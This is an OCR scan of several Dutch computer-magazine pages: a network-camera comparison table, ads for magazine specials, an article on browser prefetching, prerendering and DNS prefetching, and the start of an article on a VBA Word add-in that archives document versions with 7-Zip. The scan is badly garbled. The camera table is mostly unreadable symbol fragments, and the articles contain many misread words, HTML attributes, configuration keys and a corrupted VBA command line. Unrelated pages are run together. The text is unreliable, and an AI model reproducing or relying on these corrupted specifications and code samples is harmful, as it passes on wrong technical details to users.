©©zeergoed ©goed Ovokloende ©slecht 

©Gzeerslecht aanwe^tg -nfetaanwezig i 

g.o.geeflopgave 
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Test I Netwerkcamera's 


LevtIOne FCS-0B1 Irendnet TV-IP522P Vlvoteh FD8133 Edimax K-mSVin 


liK 

fix 

dome 

fix 


1.0^5526 

0101 b 

1.6 

- 


- 


FE/^ 

FEZ^ 

FEZ- 

FEZ- 

- 

- 

- 

SOZIln-lSOZ-Z-/- 

- 

- 

- 

v^Z^/-Z- 



-Z- 




-z- 


-/[iSD-Cartl 

y Z RS-4S5 voor PanZTili-houder, SD-Cand 

Z pSD’Card 

-z- 

fotuSj reset-, privacy-knep 

focus, diafTagrna,reset-knop 

focus, reset-knop 

resei-,WPS-knop 

4 

2 

I 

2 

/Plfi-Sensor 

-Z- 

-Z- 


70[nmx 105nnmX40mm 

65 mm X 60 mm X 200 mm 

nOmmx 90mm [Dx H) 

60mmx 105 mmx 25mm 

vm, kogefgewricht 

voet. hoek. kogelgewrictii 

- 

voet, kogelgewricht 

3,0W{PoE:5jW2) 

7,4W{PoE:90W21 

3,0 W 

4,1 W 

“ 


“ 

3,6 W 

/v/ 

-/- 

^z- 

M^Z- 

v/Z-/- 

^Z-Z- 



wachtwoordjP-fiiter 

wachtwoord 

wachtwoord, iP-fifter[v4+v6l 

wachtwoord 

admin, viewer 

admin, viewer 

admin, operator, viewer 

operator, guest 



y/y z- 

vZv^Z- 


^z-z^ 

v" Zv^ Z^ 

^Z-Zv/ 

Zv^ 

^Zv^ 

s/U 


^/Zv'Z✓ 




^Zv^z^ 


^Zs/Zw/ 



v'Zx' 

^Zv^ 

^ Zs/ 

-z-z- 

-z-z- 

^/-Zs/ 


RT5P-multEQSt 


SfJMP(vl-3),syslog,(JoS 

(DSCP en CoS), RTP-multkast, 802,1x-SLfpplicant 


max. 3 windows, gevoel^heid / - 
beweging, PIR-signaal 
(opslianaileen SD-Card) 

rasterpunten, gevoeligheSd Z - 
beweging, audio, GPlO-sfgnaai 

max. 3 windows, gevoeligheid Z - 
bewegtng, manlpulatie [tamper detection), perkh 
diek, GPIO-signaal 

max. 3 windows, gevoeligheid Z - 
heweging 

e-mail ftpZSME-tipload snapshot of Video, http- 
notification 

^maiUp-optoad snapshot, SMB-upload video, 
souDd-atarm 

e-mail, ftpZSMB-upload 
snapshot en video 

e-mail, ftp-upload snapshot of Video 

- ZcaJsZ - Zca,5s 

-Z5-35SZ-Z0-15S 

-Zl-20s/l-999sZD-9s 

-/1-5sZ0-605ZSs 

^4n tfjdinterval, weekdagen 

4dn tifdinterval per weekdag 

tijdfnterval, weekdagen 

perx sZmin/hZd of 2-S framesZs 

ftp,SMB,SO<ardZ” 

SMB,S0-CardZ^ 

ftp,SMB,SD^CardZs/ 

ftpZ- 

lijdplan voof vrijgeveo event 


tijdplan voor vrijgeven event, 
privacy mask (5 windows) 






l/4incliZ3,6mmZ - Z - 

0,4ijtdvZ4mm,n.4Z>/Z^ 

lZ4inchZ3,6 mm, F1.8Z - Z - 

g.o.ZF2iZ-/- 

2 Z 1280 x 800 (30 Hi) 

4/1280X 960 [15 Hz) 

4/1280x 300 (25 Hz) 

-Z 640x480 (30 Hz) 

JPEG, MP4 

JPEG,AVi 

JPEG, MP4,3GP 

JPEG, AVI 

H264,MPEC4,MjPEG 

H264,MPEG4,MJPEG 

H264,MPEG4,MJPEG 

MPEG4,MJPEG 

- 

MPE&4 (ma)C 640 x 480,15 Hz) Z ^ 

- 



v^(4) 

^ {10} 


spiegelen V/H, zwart-wit 

spiegelen VZH, zwart-wii 

^iegelen VZH 

- 

tijd,iekst 

t3jd,tekst 

ti|d,rekst 

tijd 

IPCaniSeciireljtei.28 

lPViewPro20 

ST7501 1.5.2.12 

IPCam Surveillance Software 3.0.2.S 

WinCE Z Mobile-eniOS-ciients 
voorRecorder-Tooi 

TfendnetProViewer(lOS) 


eCam (iOS) 

@ 

© 


O 


© 

©® 

0 

O 

O 

© 

© 

o 

© 

O 

0 (0) 

€ 207 (zercom,eu} 

€ B5 (redcoon.com) 

€270 (ipcamera-shop.ni) 

€ 50 (zercom.eu) 
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Haal meer 
ait da werel 

vanICT 


Bekijk en bestel online wat bij jou past: 

shop.fnl.nl 

Al onze titels zijn hier te vinden. 
Veel shopplezier! 




CHIP 

Home Entertainment 

Een uitstekende gids voor iedereen 
die de (netwerk) mogelijkheden van 
moderne apparaten wil leren kennen 
en meer met hun pc willen doen dan 
tekstverwerken en internetten. 



H|l| 


196 pagina's met handige 
praktijktips en oefeningen 


Computer easy 
Windows 7 

Deze special biedt hulp aan alle star- 
tende computeraars die niet weer die 
neef of vriend met vragen wil lastigval- 
len maar wel meer willen halen uit hun 
pc met Windows 7. 

Prijs:€9,95 


Prijs: €12,95 



Webdesigner 
Beginnersgids WordPress 

Wil je eenvoudig een website of 
weblog maken? Deze uitgave met 
meer dan 200 pagina's neemt je bij 
de hand, zodatje alles uit WordPress 
kunt halen wat erin zit. 


Prijs: €7,95 































1QA melorimfeber® 

I tuwrialspVtiOf wEi:d«igr»ers 

□ Ucrfed^^itfriiiuc^edienvanCStaA^^ 

□ lutjE imi^efen dcKTde besit hA wb 

□ EificmQicfckbfltdFtn^mfedi^^ 


I 


rti’ittll C ISQQQ 


Webdesigner 
Volume 01 

Om je kennis en kunde te vergroten 
is er deze special; Webdesign Volume 
1. In dit boekwerk staat alles wat je 
moet weten over de belangrijkste 
aspecten van goed \webdesign. 

Prijs:€ 12,95 





hd ^ _ 

iMac^ 


Begni^ 


if: 


.;rt-‘.lJKSTFr^lMIER ir>^ 
TELE^ENKEV'.-r SLh 










Haal alles uttje BlackBen 7 


iCreate 

Mac voor Beginners 
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Programmeren 
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geven we je alle handvatten. 
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Knowhow I Prefetching en prerendering 


Herbert Braun 


The seventh sense 



Prefetch! ng en prerendering in de browser 


Met prefetching en prerendering proberen 
browsers de tijd dat ze niets te doen hebben 
te doden door te raden wat de volgende 
actie varr de gebruiker zal zijn. Surfers en 
webdesigners kunnen daar hun voordeel 
mee doen, al bestaan er wet allerlei fabeitjes 
en misvattingen over. 


O m ervoor te zorgen dat browsers 
steeds sneller worden, schaven de 
makers aan de algoritmen voor het 
weergeven van websites, voor het compife- 
ren van scripts en voor een betere verdeling 
van de netwerkbelasting. Maar het zou nog 
effectiever zijn als het programma de vol- 
gende actie van de gebruiker zou raden in 
de tijd dat hij even niks te doen heeft. Want 
dan zou de browser daarvoor alvast de no- 
dige stappen kunnen ondernemen, zoals het 
opiossen van DNS-namen, het ophalen van 
content of door pagina's meteen compfeet 
te renderen, Volgens een onderzoek van 
Microsoft ging bijna driekwart van de tijd die 
gebruikers op een website moesten wach- 
ten, zitten In de laadtijd - ondanks een 20 
Mbit/s-verbinding [zie softlink aan het eind 
van het artikel). 

Bij de introductie van Chrome 13 verraste 
Google de gebruikers met een nieuwe fea¬ 


ture: prerendering* Dat zorgde voor aardig 
wat wantrouwen: downloadt de browser 
hierbij op goed geluk content en zorgt dat 
niet voor onnoemelijk veel overbodige web 
traffic? De discussie laait van tijd tot tijd 
weer op als een blogger ontdekt dat Firefox 
prefetching gebruikt Steeds weer wordt 
op blogs opgeroepen om prefetching uit 
te zetten. Tegenstanders van prefetching 
wijzen vooral op de verspilling van band- 
breedte, de mogelykheid dat er achter de 
schermen illegale content wordt binnen- 
gehaald en de verwatering van serverlogs. 
Maar wat houden prefetching en prerende¬ 
ring nou precies in - en wat is het verschii 
tussen beide? 

Vooruit laden 

Bij Firefox' prefetching wordt niet lukraak 
content van het internet gehaald, maar 


moet dit door de webdesigner worden ge- 
regisseerd, Je doet dat het makkelijkst met 
het HTML-element <iink>i waarmee |e een 
verbinding tussen twee documenten kunt 
maken. De aard van deze verbinding wordt 
beschreven In het rehattribuut. Firefox ana- 
lyseert <iink r€L="prefetch" href^’ url" /> en <imk 
rei="nexf firef='url'‘ />* prefetch is uitgevonden 
door Mozilla en zit in HTML5. next is daaren- 
tegen in HTML 4 a I gedefinleerd en wordt 
vooral gebruikt bij lange teksten die over 
meerdere pagina's zijn verdeeld. 

Ook via de HTTP-header Link: <urt>; 
reprefetch en de tegenhanger <meta http- 
eqyiv="ljnl('' conient="Silt;uri&gt;; rel=prefetch7> 
kan prefetching worden geacttveerd. 
Pagina's waar volgens het patroon <a 
href="url'“>Lmktext-F</a> naar gelinkt wordt, 
worden door Firefox niet van tevoren ge- 
laden. Daar moet de webdesigner indien 
nodig een <lmk>-element inbouwen. 
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Netwerksniffer Wireshark brengt de DNS-requests van browsers aan het licht - in dit 
geval de eerste lookups die Chrome bij elke start in gang zet. 


Als de browser niets te doen heeft, vraagt 
het programma het betreffende document 
op en bewaart dat in de cache. Hiervoor 
is het protocol HTTP of (sinds Firefox 3.5) 
HTTPS nodig, en een URLzonder parameters 
omdat anders geen caching mogelijk is. Als 
aan deze voorwaarden is vofdaaa wisselen 
client en server ook HTTP-cookles met elkaar 
uit. Webmasters kunnen documenten die via 
prefetching zijn gedownload in hun logfiles 
herkennen aan de header X-moz: prefetch. Met 
deze header is prefetching ookte blokkeren. 
Deze feature zit in a!le Firefox-versies vanaf 
1,02 - als de gebruiker in abouticonfig net' 
work.prefetch-next tenminste niet op false heeft 
gezet. 

Het bekendste toepassingsgebied voor 
deze techniek is de zoekmachine van Goog^ 
le. Daarbij wordt overigens alleen een pre- 
fetch-link toegevoegd als de zoekopdracht 
eenduidig naar een bekend domein verwijst, 
dus als je bijvoorbedd zoekt op Tnl'We kun¬ 
nen ons moeilijk voorstellen dat prefetching 
schade veroorzaakt bij de gebruiker of de ex- 
ploitant van de website. 

Stiekem 

Prefetching heeft zijn slechte naam te dan- 
ken aan clients die net als een offline brow¬ 
ser de content van a lie geimkte documen¬ 
ten ophalen. Een dergelijke feature werd 
ruim tien jaar geleden al door de alternatle- 
ve browser iCab geFntroduceerd. Deze vorm 
van prefetching kan naast onnodig veel 
dataverkeer en verhoogde bezoekersaantal- 
len ook technische problemen veroorzaken, 
als bijvoorbeeld automatisch wordt gesurft 
naar links om uit te loggen of een date- 
record te verwijderen. Met HTTP zouden 
resources die via de GET-methode worden 
benaderd zulke bijwerkingen niet moeten 
hebben, maar belaas houden niet alle web¬ 
sites zich daar aan, 

Daarom downloadt rCab content alleen 
als de url's eindigen op een slash, .htm of 
.htmk Aangezien dat niet geldt voor PHP-pa- 
gina's, urfs met parameters en url's die voor 
zoekmachines geoptimaliseerd zijn, zal het 
voor- dan wel nadeel van deze functle van- 
daag de dag te overzien zijn, Bovendien is 
prefetching in iCab standaard uitgeschakeld, 

De populaire Firefox-extensie Fasterfox 
gaat op een vergelijkbare manier te werk. 
Als Je prefetching hebt geactiveerd, worden 
naast HTML-pagina's ook gelinkte tekst-, 
xml- en pdf-documenten en afbeeldingen 
opgehaald. Webmasters die geen band- 
breedte aan Fasterfox willen spenderea kun¬ 
nen dat in robots.txt uitsluiten: 

User-agent: Fasterfox 
Disallow: / 

Tegen echte offline browsers als HTTrack, die 
aan de hand van de linkstructuur door een 
website been wandelen en de content kopi- 
eren, bestaat een dergelijke beveiliging niet. 
HTTrack houdt maar ten dele rekenmg met 
robots.txt. 


Google probeerde daar in 2005 met Web 
Accelerator een interessant compromis in te 
sluiten. De Windows-software is inmiddels 
niet meer beschlkbaar, maar nestelde zjch 
als proxy tussen de browser en het Internet. 
Enkele ideeen daaruit zijn later in Chrome 
geVmplementeerd. De prefetching werkte 
net als in Firefox, maar keek niet alleen naar 
de expliciete links op de website. Ook erva- 
ringen uit Googles gebruiksstatistieken en 
muisbewegingen warden gebruikt. 

Voorgekauwd 

De prefetching in Fi refox van enkele geselec- 
teerde websites is een interessant concept 
maar de voordelen zijn beperkt: alleen de 
HTML-paglna zelf wordt geladen, niet de 
daarin opgenomen scripts, stijien, afbeeidln- 
gen en andere objectea die bij veel websites 
tientallen HTTP-requests genereren en het 
dataverkeer enorm verhogen. Meer hierover 
lees je in het artikel over performanceverbe- 
tering van websites op p.94. Google ontwik- 
kelde prefetching dan ook verder en kwam 
bij Chrome 13 met prerendermg. 

Met die techniek beperkt de browser zich 
niet tot het van tevoren downloaden van 
een pagina, maar worden meteen ook alle 
ingebedde resources opgevraagd scripts 
uitgevoerd en de pagina volledig gerenderd 
Op die manier kan een pagina in een frac- 
tie van een seconde worden weergegeven. 
Dit proces is te vergelijken met het openen 
van een pagina in een achtergrondtab of als 
pop-under. Je krijgt als gebruiker daar alleen 
geen melding ovec 

Om ervoor te zorgen dat deze processen 
niet opvallen, breekt Chrome het preren- 
deren onder bepaalde omstandigheden af. 
Dat gebeurt als een pagina pop-ups opent, 
downloads initieert, Ajax-requests met ande¬ 


re methoden dan GET wil versturen of HTTP- 
authenticatie nodig heeft, Ook versleutelde 
verbindingen, pagina’s die abnormaal veel 
resources nodig hebben of adressen die een 
malware-waarschuwing geven, worden van 
prerendering uitgesloten. De browser breekt 
stilzwijgend ook HTMLS-audio/videocontent 
af Met Flash en andere plug-ins wordt pas 
lets gedaan als de pagina ook daadwerkelijk 
geopend wordt. 

Maar dat is nog niet alles: om de beno- 
digde resources overzichtelijk te houden, 
beperkt Chrome het aantai voorgerenderde 
pagina's tot een ^ per browser-instantie, niet 
per tabblad. Bovendien moet er minstens 
een halve seconde tussen twee prerende- 
rlngs zitten. 

Als je ondanks deze strenge beperkingen 
geen gebruik wilt maken van prerendering, 
moet je bfj de 'Geavanceerde optles' het 
vinkje verwijderen bij het wat merkwaardig 
geformuleerde 'Netwerkacties voorspellen 
om de laadprestaties van pagina's te verbe- 
terenl Vanaf Chrome 14 geeft de browser bij 
ch rome://net-internais/#prerender gedeta il- 
leerde informatie over de pagina's die eerder 
zijn gerenderd. Ook in het geintegreerde 
Taakbeheer {in het menu onder 'Extra') ver- 
schljnt de betreffende site voorafgegaan 
door 'PreRender:', In de ontwikkeltools ver- 
schijnen de HTTP-quenes niet of hooguit 
verminkt - ze hebben betrekking op de pa¬ 
gina die net geopend is, waartoe de voorge¬ 
renderde immers niet meer behoort. 

Ook het prerenderen wordt gestart met 
een <llnk>, namelijk met het nieuwe rel-type 
prerender. Je kunt dit ook nu weer uitprobe- 
ren op de zoeksite van Google, die Chrome 
bij eenduidige zoekopdrachten een preren¬ 
der-link meegeeft. Google heeft op http:// 
prerender-test.appspot.com een testpagina 
gemaakt 
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Chrome kan pagina's van tevoren laden en renderen, wat pas zichtbaar 
is met de tools die in de browser geVntegreerd zijn. 


Microsoft heeft bij Internet Explorer 9 ook 
DMS-prefetching ingevoerd en gaat net a Is 
Chrome op zoek naar de IP-adressen van de 
prefetch-links. Bij het invoeren van een uri 
haalt de browser volgens Microsoft vanaf 
de derde letter van de hostnaam de IP- 
adressen op van de vijf belangrijkste web¬ 
sites die daarbij passen. Of dit inderdaad zo 
is, kanden we niet achterhalen. De browser 
slaat in de ‘Geschiedenis’ naast een kopie 
van de pagina ook de externe hostnamen 
op waar in de pagina naar gelinkt is. Op die 
manier kan al voor het parsen van de HTML- 
content met het DNS-proces begonnen 
Worden. 

Safari gaat sinds versie 5.0.1 ook op zoek 
naar de hostnamen van gelinkte url's. Bij 
sommige routers of DNS-aanbieders heeft 
dit echter tot problemen geleid. Om dit uit 
te schakelen, kun je de Instelllng WebKitDNS 
PrefetchirrgEnabled op false zetten. Opera maakt 
momenteel als enige browser nog geen ge- 
bruik var^ DNS-prefetching. 


Door de bovenstaande beperkingen kunnen 
webdesigners er zeker niet zomaar van uit 
gaan dat een browser prerendert - zel^ niet 
als de browser daartoe technisch in staat is. 
Je kunt dat op de pagina die op de achter- 
grond geladen is, controleren met de nog 
experimentele Page Visibility API. De eigen- 
schap document.webkitVisibiiityState kan de waar- 
den visible, hidden (achtergrond-tata of gerntni^ 
maliseerd venster) of prerender hebben. Met 
de event webkitvisibiLitychange kun je controleren 
of de status verandert. 

DNS-preview 

Naast prefetching en prerendering is er 
nog een derde techniek die ongevraagd 
gegevens binnenhaalt Verwarrend genoeg 
staat die ook bekend onder de naam 'pre- 
fetching"; het van tevoren omzetten van 
hostnamen in IP-adressen. Deze DNS-pre- 
fetching is interessant omdat er maar heel 
weinig traffic gegenereerd wordt - voor 
vraag en antwoord zijn in princIpe een paar 
honderd bytes genoeg. Bij het oproepen 
van een website duurt het gemiddeld 150 
milliseconden tot de browser het adres van 
de server weet en de requests uberhaupt 
kan versturen. Die vertraging hangt niet 
van de bandbreedte af, maar van de laten- 
tie van een verbinding. Dat is vooral te mer- 
ken bij mobiel internetten. 

DNS-prefetching valt niet zo op als web¬ 
site-prefetch ing of prerendering, maar voor 
weinig moeite krijg je een hoop rendement 
terug. Het wordt dan ook steeds meer ge- 
bruikt. Er is geen reden voor paranoia -zelfs 
een website-exploitant merkt niets van een 
een DNS-lookup, dat regelen de browser, de 
provider en de DNS-aanbteder onderling. 

Als Firefox (vanaf versie 3.5) een pagina 
met ingebedde content van een vreemde 
host laadt, worden aile requests naar de 
DNS-server gestuurd. De gebruikelijke be- 
perktngen voor parallelle downloads - bij 
Firefox momenteel 6 gelijktijdige verfain- 


dlngen per host, tot een maximum van 35 
- gelden niet voor DNS-lookups. Daarnaast 
haalt Firefox de IP-adressen op voor alle 
links naar externe HTTP-resources. Als je dat 
niet wilt, moet je in aboutxonfig de boo¬ 
lean network.d ns.disable Prefetch aanmaken en 
de waarde op true zetten. Als je prefetching 
daarentegen ook voor versleutelde verbin- 
dingen wilt activeren, moet je de sleute! net- 
work.dns.disablePrefetchfromHTIPS de waarde false 
geven. 

Ook de server kan DNS-prefetching ver- 
bieden door in de HTTP-header x-d ns prefetch- 
control: off mee te sturen. Dat kan ook met de 
HTML-header <meta http-equiv=".,.7>. Met 
het <link>-type dns-prefetch kan een webde- 
signer ook uit voorzorg hostnamen op- 
zoeken. Dat gaat ook zonder http ervoor te 
zetten, bijvoorbeeld <link rel="dns-prefetch'' 
href=7/cinl''>. Dit heeft slechts in enkele ge- 
valien zin - namelijk wanneer de betreffen- 
de host voor de daaropvolgende pagina's 
wordt gebruikt, maar niet voor Ingebedde 
content van de actueel geladen pagina’s. 

Google Chrome doet het vergelijkbaar, 
maar breidt deze Fire fox-feature nog ver- 
der uit: meteen bij het invoeren van een url 
wendt Chrome zich tot de DNS-server - als 
de gebruiker bij de 'Geavanceerde opties' 
de 'voorspellingsservice gebruiken om 
zoekopdrachten en URL's aan te vullen die 
in de adresbalk worden getypt' niet heeft 
uitgeschakeld (Instant Search). Nog tijdens 
het starten stuurt de browser de requests 
over de eerste tien hosts die bij de laatste 
sessie opgeroepen warden naar de DNS. Zo 
kan de startpagina van de browser zonder 
vertragingen worden weergeven. Chrome 
iaadt geen <link>s die als prefetch worden ge- 
kenmerkt, maar vraagt daar wel het IP-adres 
van op. Hoeveel adressen er verzameld zijn, 
kun je zien bij chrome://net-internals/#dns. 
In versie 14 krijg je bij chrome://dns en 
chrome://histograms/DNS nog meer details 
te zien, waaronder hoeveel milliseconden 
het duurde om de pagina op te vragen. 


Prefetch-request 

Met een testpagina konden we constateren 
dat Firefox 6 zich zo gedraagt als de speci- 
ficatie belooft: de browser haalt bij <l]nk>s 
met dns-prefetch het IP-adres op en slaat zowel 
prefetch als neKt-<lirTk>s op in de cache als de 
uri's geen parameters bevatten. Je kunt 
daarbij niet vertrouwen op de informatie die 
de extensie Firebug bij de knop 'Net' geeft. 
De requests worden daar vreemd genoeg 
namelijk niet weergegeven. Bij about:cache, 
heb je meer succes. Blijkbaar onderdrukken 
veel webservers prefetch-requests, want 
sommige testadressen wilden slmpelweg 
niet in de cache verschijnen. 

Chrome 14 reageert op dns-prefetch, maar 
niet op next. Chrome doet met de prefetch- 
links (a I dan niet met uH-parameters) niets - 
in de ontwikkeltools verschijnen verminkte 
HTTP-requests, die blfjkbaar niet verstuurd 
worden. Alleen de DNS-fookup lukt Internet 
Explorer 9 werkt alleen met de met prefetch 
gekenmerkte links, Safari en Opera doen he- 
lemaal niets. 

Of het nou om prefetching, prerendering 
of DNS-prefetching gaat: het wantrouwen 
ten aanzien van deze technieken is groten- 
deels gebaseerd op onwetendheid, Firefox, 
Chrome en hun concurrenten gaan daar 
tegenwoordig veel bedachtzamer mee te 
werk dan voormallge brute-force versnel- 
lers als Fasterfox. Als je prefetching niet he- 
femaai vertrouwt, kun je het beste meteen 
JavaScript ook volledig uitschakelen en 
iframes verbieden. Hiermee wordt immers 
ook op de achtergrond content geladen. 
DNS-prefetching heeft een bfjzonder goede 
kosten/batenverhoudmg. Ook webslte-pre- 
fetching en Googles doorontwikkeling daar- 
van hebben nut. Een webdesigner hoeft 
slechts een simpele regel HTML in te voe- 
ren om daar gebruik van te kunnen maken. 

(mvdm) 
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Praktijk [ Office programmeren 



Raff Nebelo 

Sein op veilig 

Documentversies back-uppen in Word 

De meest recente edrties van Word slaan afleen nog de allerlaatste versie 
van een document op* Met de invoegtoepassing c't-archief voeg je een extra 
beveiligingsfunctie toe, waarmee elke versie van een befangrijk document 
wordt bewaard* 


udere exemplaren van Word had- 
den nog een echt versiebeheer. Als 
je dat had geactiveerd, werden de 
diverse bewerkingsfases van een document 
in een en hetzeifde bestand bewaard. Het 
beheer werkte echter niet altijd even goed 
en had ookalsgroot nadeel datje bij veriies 
of beschadigrng van het bestand meteen 
ook alie andere versies kwijt was. Toch was 
deze vorm van back-up nog altijd beter dan 
de functie 'Versies beheren' die je bij Word 
2010 onder het menu 'Bestand/Info' kunt 
vinden. Hiermee kun je aJleen de docu¬ 
mentversies herstellen die Word tijdens een 
sessie automatisch heeft opgeslagen, Maar 
zodra Je het tekstverwerkingsprogramma 
afsiuit, blijft hooguit de laatste kopie be¬ 
waard* Alle voorgaande versies worden dan 
rigoureus verwjjderd* En je zult natuurlijk 


zien dat dat net gebeurt op het moment 
dat je per ongeluk een hoofdstuk van je 
pro efsc h r ift h eb t g e kn i pt. 

Met c't-archief zou zoiets niet gebeuren. 
Deze in VBA ontwikkelde invoegtoepassing 
slaat de stand van zaken van de tekst dfe je 
aan het bewerken bent op in een archiefmap 
met dezelfde naam (inclusief extensie) als 
het document Het bestand krijgt een een- 
duidige naam - bijvoorbeeld '2011-09-11 
(14-22-33).docx* Hierdoor weet Je meteen 
wanneer het document precies is opgesla- 
gen en kun je de versies dankzij het ISO- 
8601 -achtige form a at in de Verkenner chrO' 
nologisch sorteren. Ct-archief kan de versies 
ook als ZfP-bestand opslaan. Dat is ook nut- 
tig bij documenten in DOCX-formaat. Dat 
zijn weiiswaar al (verborgen) ZIP-bestanden, 
maar afbeeldingen worden daarin In het ori- 


ginele formaat bewaard. Als je dus bijvoor¬ 
beeld TIFF-bestanden ingevoegd hebt, kan 
een DOCK-bestand door het verder te com- 
primeren nog kleiner worden. 

De ZIP-bestanden die c't-archief gene- 
reert zijn met een wachtwoord te bevei- 
ligen* DIt is vooral aan te raden als je in de 
tnstellingen van de invoegtoepassing een 
netwerkshare als opslaglocatie voor de ar¬ 
chiefmap hebt opgegeven. Je kunt instellen 
dat de tool belangrijke documenten auto¬ 
matisch moet archiveren. Hierdoor ontstaat 
geleidelijk een onafgebroken reeks versies, 
waarmee je op elk moment iedere bewer- 
kingsfase kunt herstellen. 

Installatie 

Je Installeert c't-archief door het ZIP-bestand 
bij de softiink uit te pakken in de opstartmap 
van Word (over de 7z-bestanden later meer). 
Hierdoor is de invoegtoepassing permanent 
in het prog ram ma aanwezig. Je vindt de 
add-in terug als een eigen opdrachtengroep 
onder het tabblad 'fnvoegtoepassingen' van 
het multifunctloneie lint Het belangrijkste 
onderdeei hiervan Is de knop 'Nu archiveren’. 
Hiermee kunjeopetk moment een back-up 
maken van het huidige document. Natuurlijk 
vergeet je juist bij belangrijke documenten 
om die knop te gebruiken. Daarom staat er 
nog een grote knop naast waarmee je een 
document automatisch kunt laten archi- 
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InvoegtoepassUigvoor MjcrosoftWord 2007 eii 2010 

InstalJatie; kopieerde sjabloon cUrchief.dotiii iiaar de opstart- 
folder van Word. Het pad naar deze folder wordtvermeld onder 
Besfand- Opfies- Gem/anceerd- Bestandslocaties- Opstarten. 


De Word-invoegtoepassing ctarchief zorgt 
onder het tabbfad Invoegtoepassingen' 
van het lint voor een paar knoppen meer. 


c't-afchlef - Instelliogefi 

Op^igfokter: 


£3 


I F:\Wonj V:t'arthtef 

F Cpcumentvefistes gecompfireerd opslaan 
en met dJt wschtwoord beveigen: 

F 





In dit dialoogvenster 
kun je onder an- 
dere de opslaglocatie 
vastleggen, waar 
c't-archief de kopieen 
moet zetten* 


Map selecteren 

Sftletteer felder vocr dtjcumeritarchlevein: 
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J k Word 
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veren en d\e je desgewenst 00 k weer kunt 
uitschakelea Het document wordt automa- 
tisch gearchiveerd op het moment dat je 
een document sluit en daarbij lets gewijzigd 
is. Als je het document alleen opent om te 
lezen, wordt bij het sluiten geen nieuwe ver- 
sie aangemaakt. 

KItk je op 'c't-archief openen', dan wordt 
de archiefmap met alle eerder opgeslagen 
versies van het document in de Verkenner 
geopend. Als het document nog niet eer¬ 
der is gearchiveerd, wordt de opslagfolder 
boven alle archiefmappen geopend. Deze 
basismap heeft normaal gesproken de naam 
’ctarchief en bevindt zich onder de Docu- 
menten van de gebruikec Met deze configu- 
ratie belanden de origineie Word-documen- 
ten en dearchiefbestanden waarschijnlljkop 
dezelfde schijf. ie kunt de map dus voor de 
zekerheid beter op een extern medium zet- 
ten of in elk geval op een aparte gegevens- 
drager (dus niet in een andere partitie op 
dezelfde harde schijf). Daarvoor klikje op de 
knop Instellingen' en geef je in het boven- 
ste tekstvefd van het nieuwe dialoogvenster 
het pad op. Alsje geen zin hebt om tetypen^ 
kun je 00 k via de knop met de drie puntjes 
naar de gewenste locatie navigeren. 

Zet je een vinkje bij de optie in het instel- 
lingenvenster, dan worden de documentver- 
sies automatlsch gecomprimeerd. Er wordt 
dan met andere woorden een ZIP-bestand 
van gemaakt. Standaard staat het vinkje er 
al. Jn het tekstveld daaronder kun je ter be¬ 
vel iiging van het archiefbestand nog een 


Afhankelijk van de instelEing komen de 
versies in het origineie formaat of als 
ZIP-bestand in de archiefmap van het do¬ 
cument te staan. In beide gevallen kun je 
aan de bestandsnaam hettijdstip van de 
archivering aflezen. 


wachtwoord invoeren. In tegenstelling tot 
de standaard Windows-procedure is de 
tekst bij het invoeren van het wachtwoord 
gewoon zichtbaar. Dit dient hetzelfde do el 
als de alternatieve methode om een wacht¬ 
woord twee keer in te voeren: typfouten 
voorkomen, zodat het je niet gebeurt dat je 
later ineens geen toegang meer hebt tot je 
gegevens. Zodra de invoerfocus niet meer in 
het tekstveld staat, wordt het wachtwoord 
onzichtbaar met sterretjes. 

Toegevoegd aan het lint 

Naast de dialoogvensters wordt het groot- 

ste gedeelte van de gebruikersinterface 
gevormd door de opdrachtengroep 'c't- 
archief, Deze be staat uit een handvo! XML- 
commando's en pictogrammen die met 
behulp van de gratis Custom Ul Editor zijn 


toegevoegd. Deze editor is een cent rale tool 
bij het programmeren van het lint en is al 
vaker aan bod gekomen in c't (voor het laatst 
in [1]). Concreet vormen de XML-instructies 
in deze add-in de blauwdruk voor vijf knop¬ 
pen (button-elementen) die aan macro’s of 
'callback-routines' worden gekoppeld en In 
de module modMain van het VBA-project in 
de invoegtoepassing zelf te vinden zijn, 
Tefkens als je op 'Nu archiveren' klikt, 
wordt een van deze callback-routines (cmd- 
Save_Click) geactiveerd. De routine roept 
eigenlijk alleen de procedure SaveVersion op 
om ervoor te zorgen dat de documentversie 
wordt opgeslagen. Het probleem is alleen 
dat het document a! in Word is geopend en 
dat toegang hierdoor onmogelijk is. Er moet 
dus eerst een kopie van het document wor¬ 
den gemaakt maar 00 k dat leidt bij normale 
kopieeropdrachten tot een toegangsconflict 
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Met de Custom Ul Editor kun je makkelijk een XML-bestand maken om de 
interface van c't-archief in het lint van Word te integreren. 


Gelukkig kun je dat opiossen met de Copy- 
FKe-methode van het filesysteemobject uit 
VBScript Met deze methode kun je namelijk 
ook geopende bestanden kopieren, waar- 
door de procedure een exacte kopie van 
het document opievert, Als compressie is 
uitgeschakeld, krijgt het bestand een naam 
die is opgebouwd uit de datum en de tijd 
(Format(Now, "yyyy-mm-dd (hh-mm-ss)"}). 
Vervolgens belandt de kopie rechtstreeks 
in de archiefmap van het document. In dit 
geval heeft SaveVerslon zijn werkal gedaan. 

Als compressie wel is geactiveerd, wordt 
het een ander verhaal. De kopie van het dO“ 
cument belandt dan in de Temp-folder van 
het systeem en krijgt daar dezeifde naam als 
het origineel. SaveVerslon gaat vervolgens 
op 2 oek naar de tool 7zexe, de command- 
line-versie van het openso urce-com press ie- 
programma 7-Zip, Als het goed is, heb je de 
tool al samen met het .dotm-bestand in de 
autostart-folder van Word gezet. Als 7z,exe 
daar inderdaad staat maakt de externe tool 
van het Word-bestand een ZIP-bestand. De 
compressie wordt gestart met behufp van de 
zelfgemaakte SheilRun-functie en geeft de 
noodzakelijke uitvoerparameters door. Het 
concrete commando ziet er als voIgt uit: 

ComLine = SetBracItetstExePathname) & " a" _ 
gf SetBracketstZipFilePathname) & " ” _ 

& SetBrackets[ArchivePathname) & _ 
llf(ZipPassword > " -p” & _ 

Set8rackets(ZipPassword), "T 

De regel begint met de padnaam van het 7Z“ 
programma (ExePathname) en de parameter 
'a' (staat voor 'add'). Hiermee krijgt 7z.exe de 
opdracht om het ZIP-bestand (ZipFilePath- 
name) aan te maken dat in de volgende pa¬ 
rameter staat vermeld, Hieraan moet de do- 
cumentkopie worden toegevoegd die in de 
parameter daarna (ArchivePathname) wordt 
aangegeven. Als je het ZIP-bestand met een 
wachtwoord hebt beveillgd. geeft de functie 
IIF dit achter de vereiste parameter -p^ aan 
7z.exe door. De meermaals aangeroepen 
functie SetSrackets zet de parameters tussen 
haakjes in aanhafingstekens, Hierdoor kan 
ShellRun ook parameters met een of meer 
